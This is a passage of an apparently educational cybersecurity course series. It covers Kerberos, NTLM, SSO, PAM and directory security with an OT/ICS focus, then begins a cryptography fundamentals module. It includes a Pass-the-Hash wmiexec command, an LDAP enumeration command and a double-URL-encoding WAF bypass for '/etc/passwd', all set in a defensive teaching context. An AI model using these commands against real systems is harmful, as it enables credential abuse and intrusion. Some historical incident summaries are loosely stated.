Monitor for abnormal TGS-REQ volume from a single account in a short window (Event ID 4769 with ticket encryption type RC4 specifically is a strong Kerberoasting signal — AES-encrypted tickets are far more crack-resistant, so legacy RC4 use is itself a red flag).
Restrict and monitor DCSync rights (Replicating Directory Changes / Replicating Directory Changes All) — only Domain Controllers and explicitly authorized accounts should ever hold these.
Enable Protected Users group and Credential Guard to prevent ticket/credential extraction from memory on modern Windows.

10.8 Forensic Evidence

Event ID 4768 (TGT requested), 4769 (Service Ticket requested), 4770 (Service Ticket renewed) on Domain Controllers.
Golden Ticket indicator: a TGT with a lifetime far exceeding domain policy, or referencing a user that no longer exists / was deleted.
Kerberoasting indicator: a single account generating many 4769 events with RC4 encryption (etype 0x17) across many different SPNs in a short period.

10.9 OT/ICS Perspective

OT environments running Windows-based SCADA/HMI servers joined to a corporate Active Directory domain inherit every one of these Kerberos risks directly. A Kerberoasted service account tied to a SCADA application server can grant an attacker a foothold that bridges IT compromise straight into OT supervisory control — this is a documented lateral-movement pattern in ICS incident response case studies (e.g., patterns described in ICS-CERT/CISA advisories following ransomware intrusions into hybrid IT/OT Windows domains). Where feasible, OT-tier Windows servers should join a separate, isolated forest/domain rather than the corporate forest, specifically to contain Kerberos-based lateral movement.

Retain this: Kerberos tickets, not passwords, are the actual currency of post-compromise lateral movement in Windows domains — defending the krbtgt secret and service account hygiene matters more than any single password policy.

11. NTLM

11.1 First Principles

NTLM (NT LAN Manager) is Microsoft's legacy challenge-response authentication protocol, predating Kerberos in Windows environments and still present today for backward compatibility, workgroup (non-domain) authentication, and certain legacy application support.

11.2 The Challenge-Response Flow

Client                              Server
  │── NEGOTIATE_MESSAGE ────────────►│
  │◄── CHALLENGE_MESSAGE (nonce) ────┤
  │── AUTHENTICATE_MESSAGE ─────────►│
  │   (response = HMAC of nonce      │
  │    using NTLM hash of password)  │
  │                                  │  Server validates response
  │                                  │  against its own copy of the
  │                                  │  NTLM hash (or relays to a DC)

Crucially, the NTLM hash itself (MD4 of the password, no salt) is the long-term secret — and because it's used directly in the HMAC computation, possessing the hash is functionally equivalent to possessing the password for authentication purposes. You never need to crack it.

11.3 Pass-the-Hash

# Conceptual technique only — Pass-the-Hash means authenticating using a
# captured NTLM hash directly, with NO password cracking required:
#
# 1. Attacker dumps LSASS memory or SAM/NTDS.dit, obtains NTLM hash
# 2. Attacker uses that raw hash directly in an NTLM authentication exchange
#    (e.g., via tools like Impacket's psexec.py / wmiexec.py using -hashes)
python3 wmiexec.py -hashes :NTLM_HASH_HERE administrator@10.0.0.5
# -hashes <LM:NTLM>  : supplies the captured hash directly, bypassing
#                       any need to ever know or crack the plaintext password

This is one of the single most consequential techniques in Windows lateral movement, because local administrator password reuse across many machines (extremely common in unmanaged enterprise fleets) turns ONE compromised endpoint into domain-wide reach.

11.4 NTLM Relay

Attacker positions as a man-in-the-middle (e.g. via LLMNR/NBT-NS spoofing
with Responder, or a malicious SMB/HTTP server):

 Victim Client          Attacker (relay)          Target Server
     │── auth attempt ───────►│                          │
     │                        │── relays the SAME ──────►│
     │                        │   challenge-response      │
     │                        │   to a DIFFERENT server   │
     │                        │◄── target authenticates ──┤
     │                        │    the relayed session AS │
     │                        │    the victim, NO hash     │
     │                        │    cracking needed          │

This is the mechanism behind tools like Responder (LLMNR/NBT-NS/MDNS poisoning to harvest or relay NTLM auth attempts) and ntlmrelayx (Impacket) — and it was a primary lateral-movement vector during NotPetya (2017), where stolen credentials and NTLM-based authentication allowed the worm to self-propagate across Maersk's and Merck's networks at devastating speed, in part because SMB signing was not enforced on many internal hosts, allowing relay attacks to succeed.

11.5 Why NTLM Is Fundamentally Weaker Than Kerberos

Property	NTLM	Kerberos
Mutual authentication	No (client can't verify server)	Yes
Relay resistance	Weak (no built-in channel binding by default)	Strong (ticket bound to specific service)
Hash reuse across machines	Catastrophic if local admin reused	Per-service ticket secrets
Delegation model	Crude / risky	Constrained delegation supported

11.6 Defensive Controls

Disable NTLM entirely where possible; at minimum, enforce NTLMv2 only (never LM or NTLMv1) via Group Policy.
Enforce SMB Signing domain-wide — this is the single most impactful control against NTLM relay, as it cryptographically binds each SMB message and breaks naive relay.
Enforce LDAP signing and channel binding to prevent LDAP relay (a related, equally damaging relay target).
Eliminate local administrator password reuse across endpoints — use LAPS (Local Administrator Password Solution) to randomize and rotate local admin passwords per-machine automatically.
Disable LLMNR and NBT-NS broadcast name resolution where not operationally required, removing Responder's primary poisoning surface.

11.7 Forensic Evidence

Event ID 4624 (logon) with Logon Type 3 (network) and Authentication Package: NTLM at unexpected volume or from unexpected source hosts.
A single source host authenticating as many distinct user accounts in rapid succession — strong Pass-the-Hash/credential-spray indicator.
Unusual LLMNR/NBT-NS broadcast traffic spikes on the wire — Responder activity signature, visible in network capture/IDS.

11.8 OT/ICS Perspective

Many legacy OT Windows systems (Windows XP/7-era HMI software still in production due to vendor certification lock-in) cannot be upgraded away from NTLM and often cannot even support SMB signing without breaking vendor-certified application compatibility. This is a textbook case of accepting a known protocol weakness and compensating architecturally: isolate these legacy NTLM-dependent hosts on a dedicated, tightly firewalled VLAN with no direct reachability from general IT, and route any necessary IT-to-OT administrative access exclusively through a PAM jump host (Section 13) rather than direct NTLM-authenticated access.

Retain this: NTLM's design flaw isn't weak cryptography per se — it's the absence of mutual authentication and channel binding, which is precisely what makes relay attacks possible. SMB/LDAP signing is the cheapest, highest-impact mitigation in any Windows environment still running NTLM.

12. Single Sign-On (SSO)

12.1 First Principles

SSO lets a user authenticate once to a central Identity Provider and gain access to multiple independent applications without re-authenticating to each. Every protocol covered so far — SAML, OIDC, Kerberos — is a mechanism by which SSO is technically implemented; SSO itself is the architectural pattern, not a protocol.

12.2 The Security Trade-off, Stated Plainly

            BENEFIT                          RISK
   ───────────────────────         ──────────────────────────
   Fewer passwords to manage        ONE compromised IdP account
   Centralized MFA enforcement      = access to EVERY connected
   Centralized audit trail          application simultaneously
   Faster offboarding (one          ("keys to the kingdom" problem)
   disable = all access revoked)

This is not a reason to avoid SSO — fragmented, non-SSO environments are empirically worse (more password reuse, inconsistent MFA, slower offboarding leaving orphaned accounts). It is a reason to invest disproportionately in protecting the IdP itself.

12.3 Architecture Pattern

                         ┌─────────────────┐
                         │  Identity        │
              ┌──────────│  Provider (IdP)  │──────────┐
              │          │  Okta/Azure AD/  │           │
              │          │  ADFS/Ping       │           │
              ▼          └─────────────────┘           ▼
      ┌──────────────┐                         ┌──────────────┐
      │  App A (SAML) │                         │  App B (OIDC) │
      └──────────────┘                         └──────────────┘

12.4 Real-World Failure: Cloud Identity Provider Compromise

The Okta breach (2022, via a third-party support engineer's compromised laptop) and the Okta source-code-repo breach (2023, customer support system compromised, session tokens for some customers exposed) are the canonical illustrations of the SSO concentration risk: when the IdP vendor itself is compromised, the blast radius extends to every downstream customer organization simultaneously.

12.5 Defensive Controls

Treat the IdP as your single highest-value asset — disproportionate monitoring, phishing-resistant MFA mandatory for all IdP admins, and a dedicated incident response runbook specifically for IdP compromise scenarios.
Implement conditional access policies (device compliance, geolocation, risk scoring) at the IdP layer, since this is now the single enforcement point for everything.
Maintain a documented emergency break-glass account outside normal SSO flow, with offline-stored credentials, for the scenario where the IdP itself is unavailable or compromised.
Regularly audit connected application consent grants at the IdP — orphaned, over-scoped, or unused application integrations are a common, overlooked attack surface.

12.6 Forensic Evidence

IdP admin-action logs (role/policy changes, new application registrations, signing certificate access) are your highest-priority log source in the entire identity stack — any anomaly here has organization-wide blast radius and should carry the highest alerting priority in your SIEM.

12.7 OT/ICS Perspective

Extending corporate SSO into OT-adjacent systems (engineering workstation logins, vendor support portals) is increasingly common for usability — but it directly imports the "one IdP compromise = total access" risk into the OT domain. The architectural answer used by mature OT security programs: a separate, dedicated OT-tier IdP (or at minimum a separate trust realm/forest) federated narrowly and explicitly to corporate SSO only for specific, audited use cases — never a flat, fully-trusted extension of the corporate IdP into OT.

Retain this: SSO doesn't eliminate identity risk — it concentrates it. Concentration is good only if you invest proportionally in protecting the single point you've created.

13. Privileged Access Management (PAM)

13.1 First Principles

PAM is the discipline and toolset for controlling, monitoring, and auditing access by accounts with elevated privilege — Domain Admins, root, database admins, network device admins, OT engineering accounts. The core insight: privileged accounts are disproportionately responsible for breach severity, even though they're a small minority of total accounts. Nearly every major breach's impact (not necessarily initial access) traces to privileged credential abuse.

13.2 Core PAM Capabilities

┌────────────────────────────────────────────────────────────────┐
│ 1. VAULTING        Privileged credentials stored encrypted,     │
│                     never known by the human user directly       │
│ 2. JUST-IN-TIME     Privilege granted temporarily, for a          │
│    ACCESS (JIT)     specific task, then automatically revoked     │
│ 3. SESSION          All privileged sessions proxied through a    │
│    BROKERING        jump host, recorded, and monitorable live    │
│ 4. CREDENTIAL       Privileged passwords auto-rotated after       │
│    ROTATION         every checkout/use, so a stolen credential    │
│                     is valid for only one session                │
│ 5. LEAST            Privilege scoped to the minimum necessary     │
│    PRIVILEGE        task, time window, and target system          │
└────────────────────────────────────────────────────────────────┘

13.3 The Standing Privilege Problem

TRADITIONAL MODEL:                    PAM/JIT MODEL:
Admin account is ALWAYS               Admin requests elevation for
privileged, 24/7, whether              a specific task --> approved
in use or not                          (manually or policy-based) -->
                                        privilege granted for a defined
ATTACK SURFACE: large,                 window (e.g. 1 hour) --> auto-
constant, always exploitable           revoked
                                       ATTACK SURFACE: small, time-
                                        boxed, requires active task

Standing privileged access is precisely what attackers seek post-initial-access: in nearly every domain-wide ransomware case, the time between initial foothold and Domain Admin acquisition is the critical window — and PAM's purpose is to make that acquisition either impossible (no standing privileged credentials to steal) or immediately detectable (every privileged session is recorded and alertable).

13.4 Architecture: The Privileged Access Workstation (PAW) + Jump Host Model

Administrator's          Privileged Access      Target Privileged
regular workstation      Workstation (PAW) /     System (DC, SCADA
(email, browsing,        Jump Host                server, etc.)
general use)              (hardened, no            
                          internet/email,
     │                    MFA-gated,
     │  NO DIRECT          session-recorded)
     │  PRIVILEGED              │
     │  ACCESS ─────X           │
                                  │── brokered, recorded,
                                     time-boxed session ──►

The principle: the workstation used for everyday email/browsing must never be the same workstation used for privileged administrative access — this single architectural separation defeats the single most common ransomware escalation pattern (phishing on the daily-use workstation leading directly to credential theft of an admin session active on the same machine).

13.5 PAM Tooling Landscape

CyberArk, BeyondTrust, Delinea (formerly Thycotic), HashiCorp Vault (secrets management, often complementary to full PAM suites), and native cloud equivalents (AWS IAM Roles + Session Manager, Azure PIM — Privileged Identity Management) all implement variations of the above capabilities. Azure PIM is a particularly instructive cloud-native example of JIT: roles like Global Administrator can be configured as eligible rather than active, requiring explicit, time-boxed, justification-logged activation per use.

# Example: Azure PIM CLI-style role activation request (illustrative)
az rest --method post \
  --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests" \
  --body '{
    "action": "selfActivate",
    "principalId": "<user-object-id>",
    "roleDefinitionId": "<role-id>",
    "directoryScopeId": "/",
    "justification": "Investigating ticket INC1234",
    "scheduleInfo": { "expiration": { "duration": "PT1H" } }
  }'
# duration": "PT1H"  -- ISO 8601 duration: this elevation expires
#                       automatically after exactly 1 hour

13.6 Detecting PAM Bypass / Misuse

Direct authentication to privileged accounts outside the PAM checkout workflow (i.e., a Domain Admin login event with no corresponding PAM vault checkout record) is one of the highest-fidelity indicators of either a PAM gap or active credential theft.
Session recording gaps (a privileged session with no corresponding video/keystroke log, due to misconfiguration or tampering) should themselves trigger an alert — an attacker disabling session recording before activity is a documented technique in mature intrusions.

13.7 Defensive Controls

Eliminate all standing/permanent privileged group memberships where JIT is feasible.
Enforce PAW separation — privileged sessions only from hardened, isolated jump hosts.
Auto-rotate every privileged credential after each checkout, regardless of whether misuse is suspected.
Record and retain all privileged sessions, with tamper-evident storage (write-once or hashed/chained logs) and a defined retention period meeting your compliance/forensic requirements.
Apply PAM principles to service accounts and API keys, not just human admins — non-human privileged identities are an increasingly dominant share of real-world privilege in modern environments and are routinely under-governed.

13.8 Forensic Evidence

Cross-reference PAM vault checkout/checkin logs against actual authentication events on target systems — any privileged authentication without a matching, time-adjacent vault checkout is your single most actionable PAM-layer detection rule, and should be a standing, always-on correlation rule in your SIEM.

13.9 OT/ICS Perspective — This Is the Most Important Subsection in the Module for This Specialization

PAM is arguably the single highest-leverage control for IT/OT boundary security, because it directly addresses the Colonial Pipeline pattern: a remote, standing credential with no MFA, no session recording, no time-boxing, bridging directly into OT-adjacent infrastructure.

RECOMMENDED OT PAM ARCHITECTURE:

   IT Network                  DMZ / PAM Layer              OT Network
  ┌──────────┐               ┌─────────────────┐          ┌───────────┐
  │ Vendor/   │               │  PAM Jump Host /  │          │  HMI /     │
  │ Engineer  │──MFA-gated──►│  Privileged       │──brokered│  SCADA /   │
  │ remote    │  request      │  Session Broker   │ recorded │  PLC       │
  │ access    │               │  (time-boxed,      │ session  │  engineer  │
  └──────────┘               │   credential        │─────────►│  station   │
                              │   vaulted, never     │          └───────────┘
                              │   known to user)      │
                              └─────────────────┘

Key OT-specific PAM design points:

Vendor remote access (the Colonial Pipeline-class scenario) must never terminate directly inside the OT network — it must terminate at a PAM-brokered jump host in a DMZ, with the OT-side credential never disclosed to the vendor, fully time-boxed to the maintenance window, and fully session-recorded.
Standing OT vendor VPN accounts, active 24/7/365 "just in case," are a documented recurring finding in ICS security assessments and represent exactly the standing-privilege risk PAM/JIT is designed to eliminate.
Session recording in OT must be configured to never interfere with real-time control-system performance or safety system response times — PAM brokering should be architected at the engineering-access layer (HMI/workstation access), never inline with control-loop communication (PLC-to-PLC, controller-to-I/O), where latency or a broker outage could itself create a safety hazard. Know this distinction precisely: PAM governs who can open an engineering session, not the deterministic control traffic underneath it.
Maintain documented break-glass procedures for emergency OT access scenarios where the PAM layer itself is unavailable (e.g., during a wide-scale IT outage) — OT operability must never be hostage to an IT identity system outage, but break-glass use must be logged and reviewed after every use without exception.

Retain this: Colonial Pipeline was not a sophisticated attack — it was one standing, MFA-less, unrotated VPN credential. PAM exists specifically to make that scenario architecturally impossible, and in OT environments, it is the single highest-return control you can implement at the IT/OT boundary.

14. The Missing Layer: Directory Services & Identity Federation Architecture

This subtopic is not in the original outline but is essential — every protocol above (Kerberos, NTLM, SAML, OIDC) ultimately reads from a directory: Active Directory, LDAP, Azure AD/Entra ID, or a cloud-native identity store. Understanding where identity actually lives is the connective layer the rest of this module assumes.

14.1 LDAP — The Underlying Data Layer

Active Directory is, at its data layer, an LDAP (Lightweight Directory Access Protocol) directory. Every user, group, computer, and policy object is an LDAP entry with a Distinguished Name (DN):

CN=John Doe,OU=Finance,DC=corp,DC=local

# Querying AD via LDAP from Linux — common in both legitimate admin work
# and attacker reconnaissance (this is exactly how tools like BloodHound
# pull their raw data)
ldapsearch -x -H ldap://dc01.corp.local \
  -D "CN=jdoe,OU=Finance,DC=corp,DC=local" -w 'password' \
  -b "DC=corp,DC=local" "(objectClass=user)" memberOf
# -x : simple authentication
# -H : target LDAP server
# -D : bind DN (the authenticating account)
# -b : search base (where in the directory tree to start)

LDAP injection and unauthenticated/anonymous LDAP bind misconfigurations remain a recurring finding category — anonymous bind allowing full directory enumeration is a critical, frequently overlooked exposure in legacy environments.

14.2 BloodHound — Why Directory Enumeration Matters Offensively and Defensively

BloodHound maps AD trust and permission relationships as a graph, revealing non-obvious attack paths (e.g., User A is in Group B, which has GenericAll rights over Group C, which is a member of Domain Admins) that no flat permission list would surface. Defensively, running BloodHound against your own environment is now considered standard practice — you cannot defend an attack path you don't know exists.

14.3 Trust Relationships and Their Risk

Forest A  ◄──── two-way trust ────►  Forest B

If Forest B is compromised, and the trust is improperly scoped
(not using SID filtering / selective authentication), an attacker
can potentially traverse INTO Forest A using forged or stolen
credentials/tickets that cross the trust boundary.

Retain this: Every authentication protocol in this module is a consumer of a directory service — securing the directory itself (LDAP hardening, trust scoping, anonymous bind elimination) is a prerequisite for every other control in this module to mean anything.

15. OT/ICS-Wide Identity Considerations

Consolidating the cross-cutting OT themes from every section above into explicit, standalone guidance:

Identity systems in OT must never become a single point of operational failure. A control-room operator must always be able to act during a safety event, even if the corporate identity stack is down. Design break-glass paths deliberately, not as an afterthought.
Vendor remote access is the dominant real-world OT initial-access vector (Colonial Pipeline being the most-cited example) — PAM-brokered, time-boxed, MFA-gated, never-standing access is the highest-leverage single investment in this entire module for OT environments.
Legacy protocol support (NTLM, weak Kerberos encryption types) often cannot be removed from OT due to vendor certification constraints — the correct response is network-layer and PAM-layer compensating control, not pretending the legacy protocol isn't there.
Separate identity trust boundaries between IT and OT (separate AD forest/domain, separate IdP realm) contain the blast radius of an IT-side identity compromise from automatically becoming an OT-side compromise — this single architectural decision determined the difference in outcome between organizations that contained Colonial-Pipeline-style intrusions to IT and those where it reached OT.
Physical and digital identity correlation matters in OT — badge/biometric access logs to a control room should be correlated with HMI/SCADA session logs during incident investigation; insider-threat and safety-incident investigations in industrial settings rely on this correlation routinely.

16. Module Summary Table

Concept	Core Function	Primary Offensive Technique	Primary Defensive Control	OT/ICS Note
Password Policies	Shared-secret proof of identity	Spraying, offline cracking	Length over complexity, breach-list screening, Argon2id storage	Avoid blind lockout policies on safety-critical HMI accounts
MFA	Second independent proof factor	Push fatigue, AiTM phishing, SIM swap	FIDO2/WebAuthn, number-matching push	Enforce MFA at IT/OT jump-host boundary, not inside OT itself
Biometrics	Trait-based identity proof	Spoofing/presentation attacks	Liveness detection, on-device template storage, second factor	Used for physical control-room access; correlate with session logs
Token-Based Auth	Bearer credential post-login	`alg:none`/algorithm confusion, token theft	Algorithm pinning, short lifetimes, httpOnly cookies	Scope and monitor OT-to-cloud telemetry tokens tightly
OAuth 2.0	Delegated authorization	Redirect URI manipulation, CSRF (missing `state`)	Exact redirect allow-listing, PKCE, least-privilege scope	Audit vendor OAuth app consent grants regularly
OpenID Connect	Identity layer atop OAuth	Missing `aud`/`iss` validation, ID token replay	Validate all claims, use `nonce`, pin trusted issuers	Validate cloud HMI portal token audience scoping
SAML	XML-based federated assertions	Golden SAML, XML Signature Wrapping	HSM-protect signing keys, validate audience/time window	Isolate OT-vendor federation from core corporate IdP trust
Kerberos	Ticket-based domain authentication	Golden/Silver Ticket, Kerberoasting, Pass-the-Ticket	krbtgt rotation, gMSA, monitor 4769/RC4 etype	Separate forest/domain for OT Windows servers
NTLM	Legacy challenge-response auth	Pass-the-Hash, NTLM Relay	SMB/LDAP signing, disable LLMNR/NBT-NS, LAPS	Compensate via network isolation for legacy OT hosts
SSO	Single authentication, multiple apps	IdP vendor compromise, consent grant abuse	Disproportionate IdP hardening, conditional access, break-glass account	Dedicated OT-tier IdP, narrowly federated
PAM	Controls/monitors privileged access	Standing credential theft, direct-to-privileged login	JIT access, session recording, credential rotation, PAW separation	Brokered, time-boxed vendor remote access; never inline with control traffic
Directory Services (LDAP/AD)	Underlying identity data store	LDAP injection, anonymous bind enumeration, BloodHound mapping	Disable anonymous bind, SID filtering on trusts, self-audit with BloodHound	Prerequisite hardening for every other OT identity control

17. Navigation

⬅ Previous: Module 2.2 — Network Security Fundamentals
➡ Next: Module 2.4 — Endpoint Security and Hardening

Bytewall Academy — Cybersecurity × OT/ICS Security Roadmap. This module is part of a continuously maintained open reference series. Contributions, corrections, and CVE updates are welcome via pull request.

Stage 2.2 — Cryptography Fundamentals

Rençber AKMAN — Tue, 16 Jun 2026 07:26:30 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 2 — Cybersecurity Core

Module: 2.2 — Cryptography Fundamentals

Level: Beginner → Advanced

Prerequisites: Stage 2.1 — Core Security Concepts

Next Module: 2.3 — Identity and Access Management

Why Cryptography Is the Bedrock of All Digital Security
What Is Encryption — First Principles
Encoding vs Encryption vs Hashing
Symmetric Encryption — AES, DES, 3DES, Blowfish
Asymmetric Encryption — RSA, ECC, Diffie-Hellman
Hash Functions — MD5, SHA-1, SHA-256, SHA-3
Salt and Pepper — Password Hashing
Digital Signatures
PKI — Public Key Infrastructure
SSL/TLS — How Secure Connections Work
TLS Handshake — Deep Dive
Cryptographic Randomness
Steganography
Cryptography in OT/ICS Environments
Module Summary

1. Why Cryptography Is the Bedrock of All Digital Security

Every security control that matters depends on cryptography. HTTPS exists because of TLS. Password storage is only safe because of hashing. Code signing, SSH, VPN, MFA apps, email signing, blockchain, digital certificates, secure boot — every one of these is cryptography applied to a specific problem. When cryptography breaks, everything built on it breaks simultaneously.

Concrete failures with massive real-world consequences:

MD5 Collision Attack → Rogue CA Certificate (2008): MD5 was known to be weak, but CAs still used it to sign certificates. Researchers at CWI Amsterdam and others demonstrated that MD5's collision vulnerability could be exploited to create a rogue Certificate Authority certificate indistinguishable from a legitimate one. Any HTTPS connection could be silently intercepted. The entire HTTPS trust system — protecting every bank, government, and healthcare site — was compromised by a 30-year-old hash function that nobody had bothered to replace.

RSA 512-bit factored → FREAK attack (CVE-2015-0204): "Export grade" cryptography mandated by 1990s US government regulations required weak RSA (512-bit) for exports. Attackers could factor 512-bit keys in hours using cloud computing and downgrade victims to export cipher suites. HTTPS connections to affected servers (including major banks and US government websites) could be decrypted.

Heartbleed (CVE-2014-0160): Not a cryptographic break, but a bug in OpenSSL's heartbeat extension that exposed 64KB of server memory per request — including private keys. When a private key is compromised, all past TLS sessions encrypted with that key (if not using Perfect Forward Secrecy) can be decrypted. Every certificate using the compromised key must be revoked and reissued. 17% of all secure web servers were affected simultaneously.

DUHK (Don't Use Hard-coded Keys, 2017): Some VPN implementations used a hardcoded seed value for their random number generator, making it possible to predict all encryption keys. A weak PRNG is as devastating as no encryption — the mathematics are correct, but the key material is predictable.

For OT/ICS: Industrial protocols from the 1980s-2000s (Modbus, DNP3 baseline, PROFIBUS) have no cryptography whatsoever — no authentication, no integrity, no confidentiality. IEC 62351 was developed specifically to add cryptographic security to these protocols, but adoption remains low. Understanding cryptography tells you exactly why a Modbus write command can be forged by anyone on the network and what it would take to prevent it.

2. What Is Encryption — First Principles

2.1 The Core Concept

Encryption transforms readable data (plaintext) into unreadable data (ciphertext) using a mathematical algorithm and a key. Only parties possessing the correct key can reverse the process (decryption) to recover the plaintext.

Encryption:
  Plaintext + Key + Algorithm → Ciphertext
  "Hello"  + "K"  + AES      → "x7Kp2mQ9..."

Decryption:
  Ciphertext + Key + Algorithm → Plaintext
  "x7Kp2mQ9..." + "K" + AES   → "Hello"

The algorithm (cipher) is typically PUBLIC — Kerckhoffs's principle:
  "A cryptosystem should be secure even if everything about the
   system, except the key, is public knowledge."

  Rationale: If security depends on algorithm secrecy ("security through
  obscurity"), once the algorithm is discovered (and it will be), all
  security is lost. Security must come from key secrecy alone.

  Corollary: Proprietary/secret encryption algorithms are a red flag.
  They haven't been publicly scrutinised — they are almost certainly weaker
  than publicly reviewed standards like AES.

2.2 The Mathematics of Security

Encryption security is based on mathematical problems that are easy to perform in one direction but computationally infeasible to reverse without the key.

Easy vs Hard Problems in Cryptography:

Symmetric (AES):
  Hard problem: Given ciphertext, find key without the key
  Security: Exhaustive search (brute force) of keyspace
  AES-128: 2^128 possible keys = 3.4 × 10^38 keys
  At 10^18 guesses/second: 1.07 × 10^13 years (longer than universe age)

Asymmetric (RSA):
  Hard problem: Integer Factorisation
  Given N = p × q (product of two large primes), find p and q
  Easy: multiply 2 large primes (milliseconds)
  Hard: factor the product (currently infeasible for 2048-bit)

Asymmetric (ECC):
  Hard problem: Elliptic Curve Discrete Logarithm Problem (ECDLP)
  Given P and Q = k×P (on an elliptic curve), find k
  Currently infeasible for 256-bit curves

  Key insight: 256-bit ECC ≈ 3072-bit RSA in security level
  ECC keys are much shorter for equivalent security

Hash Functions:
  Hard problem: Finding a collision or preimage
  Given H(x), find x (preimage resistance)
  Given H(x), find x' where H(x') = H(x) (second preimage)
  Find any x, x' where H(x) = H(x') (collision resistance)

2.3 Key Length and Security Levels

NIST Recommended Key Sizes (2024):

Security Level  Symmetric  RSA/DH  ECC
──────────────────────────────────────────────────
80-bit          2TDEA       1024    160 (MINIMUM — deprecated)
112-bit         3TDEA       2048    224 (acceptable transitional)
128-bit         AES-128     3072    256 (recommended minimum)
192-bit         AES-192     7680    384
256-bit         AES-256    15360    521

"Security level" = approximate bits of work for best known attack

Future threat — Quantum Computing:
  Shor's algorithm breaks RSA and ECC entirely (exponential speedup)
  Grover's algorithm halves symmetric key security (128-bit → 64-bit effective)

  Post-Quantum Cryptography (PQC) — NIST finalists (2024):
  CRYSTALS-Kyber: Key encapsulation (replaces RSA/ECDH)
  CRYSTALS-Dilithium: Digital signatures (replaces RSA/ECDSA)
  FALCON: Digital signatures
  SPHINCS+: Hash-based signatures (no quantum threat to hash functions)

  Timeline: quantum computers capable of breaking RSA-2048 estimated 10-20 years
  Harvest now, decrypt later: attackers capturing encrypted traffic today
  to decrypt when quantum computers become available
  → "Cryptographically relevant quantum computer" (CRQC) threat

3. Encoding vs Encryption vs Hashing

These three are routinely confused. The confusion has security consequences.

┌─────────────────┬──────────────────────────┬──────────────┬────────────────────┐
│                 │ Purpose                  │ Reversible?  │ Key Required?      │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ ENCODING        │ Format conversion        │ YES (trivial)│ NO                 │
│                 │ for transmission         │              │                    │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ ENCRYPTION      │ Confidentiality          │ YES (with key)│ YES               │
│                 │ (hide data from          │              │                    │
│                 │ unauthorised parties)    │              │                    │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ HASHING         │ Integrity verification   │ NO           │ NO                 │
│                 │ (one-way fingerprint)    │ (by design)  │                    │
└─────────────────┴──────────────────────────┴──────────────┴────────────────────┘

3.1 Encoding

Encoding converts data from one format to another for compatibility or transmission purposes. It provides zero security — it is trivially reversed by anyone.

Common encodings:

Base64:
  Converts binary to printable ASCII
  Used: email attachments (MIME), HTTP Basic Auth, JWT tokens, data URIs
  "Hello" → "SGVsbG8="

  NOT encryption — security implication:
  "Authorization: Basic YWRtaW46cGFzc3dvcmQ=" in HTTP header
  Base64 decode → admin:password (instant)

URL Encoding (Percent Encoding):
  Converts special characters for URL safety
  "Hello World" → "Hello%20World"
  "/" → "%2F"

  Security: URL encoding bypass of WAFs/filters
  /etc/passwd → /%65%74%63/%70%61%73%73%77%64
  Some WAFs decode only once; double-encoded input bypasses them

ASCII/Unicode:
  Character ↔ number mapping
  'A' = 65 = 0x41
  No security provided

Hex encoding:
  Binary → hexadecimal representation
  0x48 0x65 0x6C 0x6C 0x6F = "Hello"

ROT13:
  Caesar cipher (rotate letters 13 positions)
  NOT encryption — symmetric but trivially reversed
  Used as "spoiler protection", never for security

# Encoding demonstrations:

# Base64 encode/decode:
echo "admin:password" | base64                    # Encode: YWRtaW46cGFzc3dvcmQ=
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d          # Decode: admin:password

# URL encode/decode with Python:
python3 -c "
import urllib.parse
# Encode
encoded = urllib.parse.quote('/etc/passwd')
print('Encoded:', encoded)   # %2Fetc%2Fpasswd

# Double encode (WAF bypass technique)
double = urllib.parse.quote(encoded)
print('Double:', double)    # %252Fetc%252Fpasswd
"

# Hex encode/decode:
echo "Hello" | xxd -p                              # Hex encode: 48656c6c6f0a
echo "48656c6c6f" | xxd -r -p                      # Hex decode: Hello

# Detect encoding in captured traffic:
echo "SGVsbG8gV29ybGQ=" | base64 -d               # Check if it's base64
echo "48656c6c6f" | python3 -c "import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())"

3.2 The Critical Security Distinction

Most common security mistake: treating encoding as encryption

Example — "stored encoded" passwords (wrong!):
  Password: "SecretPass123"
  Stored as: base64("SecretPass123") = "U2VjcmV0UGFzczEyMw=="
  Security provided: ZERO
  If database is breached: echo "U2VjcmV0UGFzczEyMw==" | base64 -d → SecretPass123

Correct approach:
  Password: "SecretPass123"
  Stored as: bcrypt("SecretPass123") = "$2b$12$LKJSD...."
  Security: computationally infeasible to reverse
  If database is breached: hashes must be cracked (expensive)

Example — "encoded" API credentials in source code:
  API_KEY = base64.encode("ak_prod_12345secret")
  Developers think this hides the key in code
  Anyone who reads the code: decode → plaintext key
  Correct: environment variables, secrets management (Vault, AWS Secrets Manager)

4. Symmetric Encryption — AES, DES, 3DES, Blowfish

4.1 How Symmetric Encryption Works

Symmetric encryption uses the same key for encryption and decryption. The key must be shared between sender and receiver through a secure channel — the "key distribution problem."

Symmetric Encryption Flow:

  Alice                              Bob
    │                                 │
    │ Encrypt with shared key K       │
    │ "Hello" + K → "x7Kp2mQ9..."   │
    │                                 │
    │ ─── Ciphertext ───────────────→ │
    │     (safe to send publicly)     │
    │                                 │
    │                 Decrypt with K  │
    │                 "x7Kp2mQ9..." + K → "Hello"

Key distribution problem:
  How do Alice and Bob share key K securely?
  If they're communicating for the first time over an insecure channel:
  Sending K over the channel → attacker intercepts K → can decrypt everything

Solution: Use asymmetric encryption to exchange the symmetric key
  (this is exactly what TLS does — see Section 10)

4.2 Block Ciphers vs Stream Ciphers

Block Ciphers:
  Process data in fixed-size blocks (64-bit, 128-bit)
  Examples: AES (128-bit blocks), DES (64-bit blocks)
  Must handle data that isn't exactly block-size → padding
  Mode of operation determines security properties

Stream Ciphers:
  Process data one bit/byte at a time
  Examples: RC4 (broken), ChaCha20 (modern, secure)
  No padding needed
  More efficient for streaming data
  Crucial: NEVER reuse the same key+nonce combination
           Reuse → XOR ciphertexts → plaintext recovered

4.3 Block Cipher Modes of Operation

The mode of operation transforms a block cipher into a complete encryption scheme. Different modes have radically different security properties.

ECB (Electronic Codebook) — NEVER USE:
  Each block encrypted independently with same key
  Same plaintext block → same ciphertext block

  Security failure:
  Block 1: "Hello Wor" → "x7Kp2mQ9"
  Block 2: "Hello Wor" → "x7Kp2mQ9"  (IDENTICAL — reveals pattern)

